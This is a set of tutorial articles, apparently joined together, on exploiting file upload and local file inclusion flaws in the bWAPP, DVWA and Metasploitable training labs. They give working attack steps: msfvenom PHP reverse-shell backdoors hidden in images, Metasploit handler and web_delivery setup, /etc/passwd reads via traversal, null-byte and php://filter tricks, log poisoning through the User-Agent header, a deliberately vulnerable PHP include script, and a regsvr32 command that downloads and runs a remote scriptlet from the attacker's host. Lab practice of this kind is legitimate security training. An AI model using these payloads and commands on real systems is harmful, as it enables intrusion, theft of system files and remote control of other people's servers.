File Upload Exploitation in bWAPP (Bypass All Security)

In this article you will learn how to bypass all three security level of unrestricted file upload inside the bWAPP and if you want to know more about the various kind of file uploading vulnerability read previous article that may help you to understand this article more clearly.

LOW SECURITY

Open the target IP in browser: 192.168.0.106/bWAPP/login.php. Enter user and password as bee and bug respectively.

Set security level low, from list box chooses your bug select Unrestricted File Upload now and click on hack.

Create PHP backdoor using msfvenom and start multi handler in the background; now from screenshot you can see I have browse meter.php for uploading as an image inside the web server.

When the image gets successfully uploaded on the web server it will send the link of directory where image is saved to view the uploaded image. Since we haven’t upload any real image therefore we will try to execute our PHP backdoor by making click on the link “here”.

When victim click the above link “here” we will get victim’s reverse connection through meterpreter session inside the metasploit framework.

From screenshot you can see metasploit session 1 is opened.

MEDIUM SECURITY

As the level of security is change so here we cannot able to perform same procedure as above. Although here you just need to change only the extension of your PHP backdoor to bypass medium security. If you notice the image given below here you will find that I have browse meter.php3 for uploading

Now repeat the same step run multi handler at background and make click on the given link “here” to receive metrpreter session.

GREAT!!! From screenshot you can see metasploit session 2 is opened

HIGH SECURITY

Now we have enter into high security where above two file uploading attack will get failed so here again you need to make some small changes  into the extension of PHP backdoor file for uploading it in the web server.

From screenshot you can read the file name high.php.png which I have browse for uploading.

Here our file is successfully uploaded now make right click on the link “here” to copy link location and keep multi handler running at the background.

To bypass high security of file uploading in bWAPP we need to switch the bug as well as security level.

Set security level low and choose the bug remote & local file Inclusion then click on hack.

Here the requested web page which suffering from RFI & LFI Vulnerability gets open. Where you will find a comment to select a language from the given drop down list, and when you click on go button the selected language file get included in URL.

 Since I have uploaded the PHP backdoor shell in high security but execute that backdoor through low security with help of LFI vulnerability. Now just manipulate the following URL as shown in screenshot.

http://192.168.0.106/bWAPP/rlfi.php?language=lang_en.php&action=go into 192.168.0.106/bWAPP/rlfi.php?language=images/high.php.png

When above URL is executed in the browser you will get victim’s reverse connection inside metasploit.

Congrats!!! From screenshot you can see metasploit session 3 is opened.

Hence we have bypassed all three security level inside bWAPP

5 ways to Exploit LFi Vulnerability

The main aim of writing this article is to share the idea of making an attack on a web server using various techniques when the server is suffering from file inclusion vulnerability. As we all are aware of LFI vulnerability which allows the user to include a file through URL in the browser. In this article I have used two different platform bWAPP and DVWA which contains file inclusion vulnerability and through which I have performed LFI attack in FOUR different ways.

Basic local file inclusion

Open target IP in the browser and login inside BWAPP as bee: bug now choose the bug remote & local file Inclusion then click on hack.

Here the requested web page which suffering from RFI & LFI Vulnerability gets open. Where you will find a comment to select a language from the given drop down list, and when you click on go button the selected language file get included in URL. To perform basic attacks manipulate

http://192.168.1.101/bWAPP/rlfi.php?language=lang_en.php&action=go into 192.168.1.101/bWAPP/flfi.php?language=/etc/passwd

In basic LFI attack we can directly read the content of a file from its directories using (../) or simply (/), now if you will notice the given below screenshot you will find that I have access the password file when the above URL is executed in the browser.

Null byte

In some scenario the above basic local file inclusion attack may not work due to high security level. From below image you can observe now that I got fail to read the password file when executing the same path in URL. So when we face such kind of problem then go for NULL BYTE attack.

Now turn on burp suite to capture the browser request then select proxy tab and start intercept. Do not forget to set browser proxy while making use of burp suite

Now inside burp suite send the intercepted data into repeater.

Inside repeater you can do analysis of sent request and response generated by it. From screenshot it will be clear that /etc/passwd is not working and I am not able to read the password file.  

From following screenshot you can see I had forward the request by adding null character () at the end of directory /etc/passwd and click on go tab. Then on the right sight of window the password file get open as response.

Base64 encoded

Now there is another way to exploit LFI when the security level is high and you are unable to view the PHP file content, and then use the following PHP function.

http://192.168.1.101/bWAPP/rlfi.php?language= php://filter/read=convert.base64-encode/resource=/etc/passwd

Here from the screenshot you can see the content of password file is encoded into base64; copy the whole encoded text.

I am using hackbar which a Firefox plugin to decode above copied text.

Now a pop-up box will get open past the copied encoded text inside it and click on ok

From the given screenshot you can view the result and read the content of password file.

PHP Input

Using PHP input function we will execute injected PHP code to exploit LFI vulnerability. With the help of hackbar I am going to perform this task in which first we need to load the URL of the targeted web page as you can see in the given screenshot.

Now manipulate above URL using PHP input function

http://192.168.1.101/bWAPP/rlfi.php?language=php://input&cmd=ls

Then select the check box to enable Post data which will forward the post request and add cmd comment in given text areaas shown in following screenshot, finally click on execute.

This will show directories of victim PC.

Now time to connect the victim through reverse connection; open terminal in kali Linux and type msfconsole to start metasploit framework.

Now type use exploit/multi/script/web_delivery

msf exploit (web_delivery)>set target 1

msf exploit (web_delivery)> set payload windows/meterpreter/reverse_tcp

msf exploit (web_delivery)> set lhost 192.168.0.104 

msf exploit (web_delivery)>set srvport  8081

msf exploit (web_delivery)>exploit

Copy the highlighted text shown in below window

Paste above copied PHP code inside the URL as shown in the image and execute it

When above URL get execute the attacker got victim’s meterpreter session inside the metasploit.

msf exploit (web_delivery)>session –I 1

meterpreter> sysinfo

Proc/self/environ

If the server is outdated then to exploit it through LFI we can include proc/self/environ file that stores User_Agent where we will place our PHP code for executing CMD command.

http://192.168.1.102/dvwa/vulnerabilities/fi/?page=proc/self/environ

Now start burp suite and capture the browser request and send the fetch data into repeater.

Add cmd comment  inside user_Agent and send the request with GET parameter  192.168.1.8/lfi/lfi.php?file=/var/www/apachae2/access.log&cmd=id as shown in the below image. On the right side of window you can see the highlight result as response.

Exploit Webserver through Log Injection with LFI

Through this article you will see how to create local file inclusion log posioning inside the target machine and gain unauthourized access with help of apache access .log file.

Attacker: Kali Linux

Target: Metasploitable 2

Connect the target using SSH  service as shown below in the following image

ssh msfadmin@192.168.1.8

Now login with user as “sudo” and create a folder “lfi” inside /var/www

cd /var/www

mkdir lfi

Now create a PHP file which will allow the user to include a file through file parameter. Hence using file parameter we can execute a file that contains malicious code to make unauthorized access is target PC.

   $file = $_GET['file'];

   if(isset($file))

   {

       include("$file");

   }

   else

   {

       include("index.php");

   }

   ?>

Now I have saved above PHP code inside a text file as lfi.php and share this file.

In order to download lfi.PHP inside the lfi directory type following command

Wget http://192.168.1.25/lfi.php

Now let’s browse following URL: 192.168.1.8/lfi/lfi.php

In given screenshot you can see when I have browse lfi.php file; it has shown some error which looks like local file inclusion vulnerability.

Now I will try to open apache access.log file and to explore this file first I will give read permission to apache2 and then include the acess.log file.

Now include the acess.log file as file parameter and give following URL inside browser.

192.168.1.8/lfi/lfi.php?file=/var/www/apachae2/access.log

Now turn on burp suite to capture the request of same web page

Here you will get intercepted data where we need to inject our cmd comment inside user-agent by replace highlighted data.

Add cmd comment inside user_Agent and send the request with GET parameter  192.168.1.8/lfi/lfi.php?file=/var/www/apachae2/access.log&c=ps as shown in the below image. Then click on forward.

Here it will dump the log data as well as execute comment given through cmd. From screenshot you can view both log as well as process state.

In same manner execute lsb_release –a through cmd and view the result from inside the given screenshot.

Web Server Exploitation with LFI and File Upload

In this article you will learn how to bypass file uploading vulnerability in high security through FILE INCLUSION vulnerability. As well as how to bypass local file inclusion to get reverse connection of victim’s Pc.

Attacker: kali Linux

Target: DVWA

First you need to download Exif Piot tool from here. This is a GUI tool for windows users which allow adding exif data and Meta data inside a JPEG, PNG and GIF images.

Now open exif pilot and insert any image to hide malicious comment inside it; from screenshot you can see I have choose shell.png image and then click on EDIT EXIF/IPTC.

Further inside comment text field type as malicious code and click on ok.

Here the exif data has been edited successfully inside the image. This tool replaces the malicious image from the original image in the same folder and sent the original image into recycle bin.

Now explore target IP in browser and login into DVWA with admin: password as credential. Set security level high.

Choose vulnerability file upload to upload the malicious image in the web server application and now browse your malicious image shell.png then click on upload.

It will show the path of uploaded image copy the highlighted path.

Now open the copied path in browser where you will find the uploaded image.

In order to execute the malicious code we need to change the category of vulnerability as well as security level also so that we can execute the hidden comment inside the image.

Now set security level low.

In order to bypass file uploading vulnerability in high security of DVWA we need to set other vulnerability and I have select File Inclusion for this purpose.

File Inclusion allow users to execute any file through URL as I have described above.

Now past the above copied path of uploaded image inside the URL as shown in screenshot.

http://192.168.1.102/dvwa/vulnerabilities/fi/?page=../../hackable/uploads/shell.png

Here it has given warning system (): cannot execute blank command which means we need to add some command for execution hence through URL we will be able to execute any command.

http://192.168.1.102/dvwa/vulnerabilities/fi/?page=../../hackable/uploads/shell.png&c=ifconfig

Here I try to check network configuration of victim’s Pc and you can see the result of network configuration from screenshot.

http://192.168.1.102/dvwa/vulnerabilities/fi/?page=../../hackable/uploads/shell.png&c=dir

Here you can view the directories which I have got by executing dir command in URL.

Now next I will try to achieve meterpreter session using Kali Linux

Type msfconsole and load metasploit framework.

use exploit/windows/misc/regsvr32_applocker_bypass_server

msf exploit(regsvr32_applocker_bypass_server) > set lhost 192.168.1.103

msf exploit(regsvr32_applocker_bypass_server) > set lport 1234

msf exploit(regsvr32_applocker_bypass_server) > exploit

regsvr32 /s /n /u /i:http://192.168.1.103:8080/7vnJTV4ONLKkU19.sct scrobj.dll

Copy the above malicious code and send it to victim.

Here paste above .dll malicious code inside the URL and when you will run the code in the browser; attack will get victim’s meterpreter session on his kali Linux.

http://192.168.1.102/dvwa/vulnerabilities/fi/?page=../../hackable/uploads/shell.png&c=regsvr32 /s /n /u /i:http://192.168.1.103:8080/7vnJTV4ONLKkU19.sct scrobj.dll

Meterpreter session 1 will get open

Meterpreter>sysinfo

Second Way

In second part we will try to combine a malicious PHP file with an image, further use that malicious image for uploading in web application server and then bypass that image in same manner as performed above.

Here first you need to download any .png/.jpg/.gif image and save it on Desktop. Inside Kali Linux I have downloaded an image and save it with the name “a.png” on the desktop. Now open the terminal and type following command to generate a PHP code inside “a.png” image.

Msfvenom –p php/meterpreter/reverse_tcp lhost=192.168.1.103 lport=4444 >> /root/Desktop/a.png

Let’s verify whether the image contains the malicious code inside it or not

Cat /root/Desktop/a.png

When you will scroll down the window screen, here you will find that the end part of image contains PHP code. It means we have successfully created the malicious image which ready to upload inside the web application server.

Now repeat the above process to upload the file inside DVWA with security level high. From given screenshot you can see my “a.png” image is successfully uploaded inside the web server.

Copy the highlighted path where image is uploaded.

Before executing image in web server start multi/handler in background inside the kali Linux

msf > use multi/handler

msf exploit(handler) > set payload php/meterpreter/reverse_tcp

msf exploit(handler) > set lhost 192.168.1.103

msf exploit(handler) > set lport 4444

msf exploit(handler) >exploit

Again set security level low in DVWA and turn on the File Inclusion vulnerability and repeat the same process as above, now the paste the above copied path of uploaded image inside the URL and execute it which will provides reverse connection on kali Linux.

http://192.168.1.102/dvwa/vulnerabilities/fi/?page=../../hackable/uploads/a.png

meterpreter > sysinfo

I have got meterpreter session of victim PC